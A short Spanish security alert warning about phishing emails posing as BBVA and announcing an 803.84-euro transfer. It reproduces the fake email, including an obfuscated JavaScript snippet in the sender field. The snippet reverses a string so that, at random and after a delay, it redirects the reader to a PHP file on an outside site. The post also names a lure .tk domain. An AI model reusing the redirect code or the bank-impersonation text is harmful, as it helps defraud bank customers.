ULTIMA HORA: Se están recibiendo mails aparentando venir del BBVA indicando haberle ingresado una transferencia…

Dicen que a nadie le amarga un dulce… pero este resulta ser amargo:

_______________
——– Mensaje original ——– Asunto:  transferencia de 803.84 euros
Fecha:  Fri, 19 Nov 2010 10:21:09 +0530
De:  $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:BBVAresponde@grupobbva.com”>BBVAresponde@grupobbva.com>
Para:  <destinatario>

Estimado cliente, en su cuenta ha ingresado una transferencia de 803.84 euros. Remitente: Marta Corral. Número de control: BB0678958965. Siga <el enlace> para consultar la información.

Atentamente, su banco BBVA.
_______________
Se recibe un mail parecido a este, falso logicamente, y que el enlace lleva a una web muy distinta de la que aparente:

toffice.com.<interceptado>.tk/ donde se ofrecen muchos links y servicios . Fijarse que el dominio es TK, de Tokelau, paraiso de internautas donde radican muchos dominios maliciosos.

Se trata de una especie de spam publicitario, si bien con tecnicas de ingenieria social para hacer “picar” al usuario
Si se recibe un mail como este o similar, no secundar los intereses del hacker, ni pulsar en el link y menos seguir entrando en las webs que ofrecen …

saludos

ms, 19-11-2010